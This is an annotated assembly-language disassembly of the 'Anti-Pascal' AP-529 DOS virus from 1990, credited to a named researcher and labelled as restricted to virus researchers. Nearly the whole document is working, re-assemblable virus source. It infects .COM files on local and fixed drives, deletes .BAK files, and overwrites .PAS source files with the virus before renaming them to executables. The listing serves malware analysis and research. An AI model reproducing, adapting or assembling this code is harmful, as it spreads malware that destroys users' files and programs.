Authorization

        page    ,132
        name    AP529
        title   AP529 - The 'Anti-Pascal' Virus, version AP-529
        .radix  16

; ЙНННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН»
; є  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 є
; є  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255        є
; є                                                                          є
; є                   The 'Anti-Pascal' Virus, version AP-529                є
; є                Disassembled by Vesselin Bontchev, June 1990              є
; є                                                                          є
; є                 Copyright (c) Vesselin Bontchev 1989, 1990               є
; є                                                                          є
; є      This listing is only to be made available to virus researchers      є
; є                or software writers on a need-to-know basis.              є
; ИННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННј

; The disassembly has been tested by re-assembly using MASM 5.0.

code    segment
        assume  cs:code,ds:code

        org     100

vlen    =       v_end-start
crit    equ     12              ; Address of the original INT 24h handler

start:
        push    ax              ; Save registers used
        push    cx
        push    si
        push    di
        push    bx
        push    flen            ; Save current file length

; The operand of the instruction above is used as a signature by the virus

sign    equ     $-2

        jmp     short v_start   ; Go to virus start

flen    dw      vlen            ; File length before infection
f_name  db      13d dup (?)     ; File name buffer for the rename function call
fmask   db      '*.'            ; Mask for FindFirst/FindNext
fext    db      'com', 0        ; The extension part of the file mask
parent  db      '..', 0         ; Path for changing to the parent dir

com     db      'com'           ; File extensions used
bak     db      'bak'
pas     db      'pas'
wild    db      '???'
exe     db      'exe'

dta     equ     $               ; Disk Transfer Address area
drive   db      ?               ;Drive to search for
pattern db      11d dup (?)     ;Search pattern
reserve db      9 dup (?)       ;Not used
attrib  db      ?               ;File attribute
time    dw      ?               ;File time
date    dw      ?               ;File date
fsize   dd      ?               ;File size
namez   db      14d dup (?)     ;File name found

mem_seg dw      ?               ; Segment of the allocated I/O buffer
sizehld dw      ?               ; Size holder

v_start:
        mov     bx,1000         ; Shrink program memory size to 64 K
        mov     ah,4A
        int     21              ; Do it

        mov     ah,48           ; Allocate I/O buffer in memory
        mov     bx,vlen/16d+1   ;  (at least vlen long)
        int     21              ; Do it
        jc      cleanup         ; Exit on error
        mov     mem_seg,ax      ; Save the segment of the allocated memory

        mov     ax,2524         ; Set critical error handler
        mov     dx,offset int_24
        int     21              ; Do it

        mov     ah,1A           ; Set new DTA area
        mov     dx,offset dta
        int     21              ; Do it

        mov     ah,19           ; Get default drive
        int     21
        push    ax              ; Save it on stack

        call    infect          ; Proceed with infection

        int     11              ; Put equipment bits in ax
        test    ax,1            ; Diskette drives present?
        jz      cleanup         ; Exit if not (?!)

        shl     ax,1            ; Get number of floppy disk drives
        shl     ax,1            ;  in AH (0-3 means 1-4 drives)
        and     ah,3

        add     ah,2            ; Convert the number of drives to
        mov     al,ah           ;  the range 2-5 and put it into BL
        mov     bx,ax
        xor     bh,bh

        cmp     bl,3            ; More than 2 floppy drives?
        ja      many            ; Check if the highest one is removable if so
        mov     bl,3            ; Otherwise check disk C:
many:
        mov     ax,4408         ; Check whether device is removable
        int     21
        jc      cleanup         ; Exit on error (network)
        or      ax,ax           ; Is device removable?
        jz      cleanup         ; Exit if so

        mov     dl,bl           ; Otherwise select it as default
        dec     dl
        mov     ah,0E
        int     21              ; Do it

        call    infect          ; Proceed with this drive also

cleanup:
        pop     dx              ; Restore saved default disk from stack
        mov     ah,0E           ; Set default drive
        int     21              ; Do it

        pop     flen            ; Restore flen

        mov     es,mem_seg      ; Free allocated memory
        mov     ah,49
        int     21              ; Do it

        mov     ah,4A           ; Get all the available memory
        push    ds              ; ES := DS
        pop     es
        mov     bx,-1
        int     21              ; Do it

        mov     ah,4A           ; Assign it to the program (the initial state)
        int     21              ; Do it

        mov     dx,80           ; Restore old DTA
        mov     ah,1A
        int     21              ; Do it

        mov     ax,2524         ; Restore old critical error handler
        push    ds              ; Save DS
        lds     dx,dword ptr ds:[crit]
        int     21              ; Do it
        pop     ds              ; Restore DS

        pop     bx              ; Restore BX

        mov     ax,4F           ; Copy the program at exit_pgm into
        mov     es,ax           ;  the Intra-Aplication Communication
        xor     di,di           ;  Area (0000:04F0h)
        mov     si,offset exit_pgm
        mov     cx,pgm_end-exit_pgm     ; exit_pgm length
        cld
        rep     movsb           ; Do it
        mov     ax,ds           ; Correct the Far JMP instruction with
        stosw                   ;  the current DS value

        mov     di,offset start ; Prepare for moving vlen bytes
        mov     si,flen         ;  from file end to start
        add     si,di
        mov     cx,vlen
        push    ds              ; ES := DS
        pop     es
;       jmp     far ptr 004F:0000       ; Go to exit_pgm
        db      0EA, 0, 0, 4F, 0

exit_pgm:
        rep     movsb           ; Restore the original bytes of the file
        pop     di              ; Restore registers used
        pop     si
        pop     cx
        pop     ax
        db      0EA, 0, 1       ; JMP Far at XXXX:0100
pgm_end equ     $

lseek:
        mov     ah,42
        xor     cx,cx           ; Offset := 0
        xor     dx,dx
        int     21              ; Do it
        ret                     ; And exit

f_first:                        ; Find first file with extension pointed by SI
        mov     di,offset fext  ; Point DI at extension part of fmask
        cld                     ; Clear direction flag
        movsw                   ; Copy the extension pointed by SI
        movsb                   ;  to file mask for FindFirst/FindNext
        mov     ah,4E           ; Find first file matching fmask
        mov     cx,20           ; Normal files only
        mov     dx,offset fmask
        ret                     ; Exit

wr_body:
        mov     ax,3D02         ; Open file for reading and writing
        mov     dx,offset namez ; FIle name is in namez
        int     21              ; Do it
        mov     bx,ax           ; Save handle in BX

        mov     ah,3F           ; Read the first vlen bytes of the file
        mov     cx,vlen         ;  in the allocated memory buffer
        push    ds              ; Save DS
        mov     ds,mem_seg
        xor     dx,dx
        int     21              ; Do it

        mov     ax,ds:[sign-start]      ; Get virus signature
        pop     ds              ; Restore DS
        cmp     ax,word ptr ds:[offset sign]    ; File already infected?
        je      is_inf          ; Exit if so
        push    ax              ; Save AX
        mov     al,0            ; Lseek to the file beginning
        call    lseek           ; Do it
        mov     ah,40           ; Write virus body over the
        mov     dx,offset start ;  first bytes of the file
        mov     cx,sizehld      ; Number of bytes to write
        int     21              ; Do it

        pop     ax              ; Restore AX
        clc                     ; CF == 0 means infection successfully done
        ret                     ; Exit
is_inf:
        stc                     ; CF == 1 means file already infected
        ret                     ; Exit

rename:
        push    si              ; Save SI
        mov     si,offset namez ; Point SI at file name
        mov     dx,si           ; Point DX there too
        mov     di,offset f_name        ; Point DI at the name buffer

cpy_name:
        lodsb                   ; Get byte from the file name
        stosb                   ; Store it in the name buffer
        cmp     al,'.'          ; Is all the name (up to the extension) copied?
        jne     cpy_name        ; Loop if not

        pop     si              ; Restore SI
        movsw                   ; Copy the new extension
        movsb                   ;  into the file name buffer
        xor     al,al           ; Make the file name ASCIIZ
        stosb                   ;  by placing a zero after it

        mov     ah,56           ; Now rename the file to the new extension
        mov     di,offset f_name
        int     21              ; Do it
        ret                     ; Done. Exit

infect:
        mov     si,offset com   ; Find the first .COM file in this dir
        call    f_first
f_next2:
        int     21              ; Do it
        jc      pass_2          ; Do damage if no such files

        mov     ax,word ptr fsize       ; Check the size of the file found
        cmp     ax,vlen         ; Less than virus length?
        jb      next            ; Too small, don't touch
        cmp     ax,0FFFF-vlen   ; Bigger than 64 K - vlen?
        ja      next            ; Too big, don't touch
        mov     flen,ax         ; Save file length
        mov     sizehld,vlen
        call    wr_body         ; Write virus body over the file
        jc      next            ; Exit on error
        mov     al,2            ; Lseek to file end
        call    lseek           ; Do it
        push    ds              ; Save DS
        mov     ds,mem_seg      ; Write the original bytes from
        mov     cx,vlen         ;  the file beginning after its end
        xor     dx,dx
        mov     ah,40
        int     21              ; Do it
        pop     ds              ; Restore DS

close:
        mov     ah,3E           ; Close the file handle
        int     21              ; Do it
        ret                     ; And exit

next:
        call    close           ; Close the file
        mov     ah,4F           ; And go find another one
        jmp     f_next2

pass_2:
        mov     si,offset bak   ; Find a *.BAK file
        call    f_first         ; Do it
        int     21
        jc      pas_srch        ; On error search for *.PAS files
        mov     dx,offset namez ; Otherwise delete the file
        mov     ah,41           ; Do it
        int     21

pas_srch:
        mov     si,offset pas   ; Find a *.PAS file
        call    f_first         ; Do it
        int     21
        jc      inf_xit         ; Exit on error

        mov     ax,word ptr fsize
        mov     sizehld,ax      ; Save file size
        call    wr_body         ; Overwrite the file with the virus body
        call    close           ; Close it
        mov     si,offset com   ; Try to rename it as a .COM file
        call    rename          ; Do it
        jnc     inf_xit         ; Exit if renaming OK
        mov     si,offset exe   ; Otherwise try to rename it as an .EXE file
        call    rename          ; Do it
        jnc     inf_xit         ; Exit if renaming OK
        mov     ah,41           ; Otherwise just delete that stupid file
        int     21              ; Do it
inf_xit:
        ret                     ; And exit

int_24:                         ; Critical error handler
        mov     al,2            ; Abort suggested (?!)
        iret                    ; Return

v_end   =       $

; Here goes the rest of the original program (if any):

; And here (after the  end of file) are the overwritten first 529 bytes:

        jmp     quit            ; The original "program"

        db      (529d - 8) dup (90)

quit:
        mov     ax,4C00         ; Just exit
        int     21

code    ends
        end     start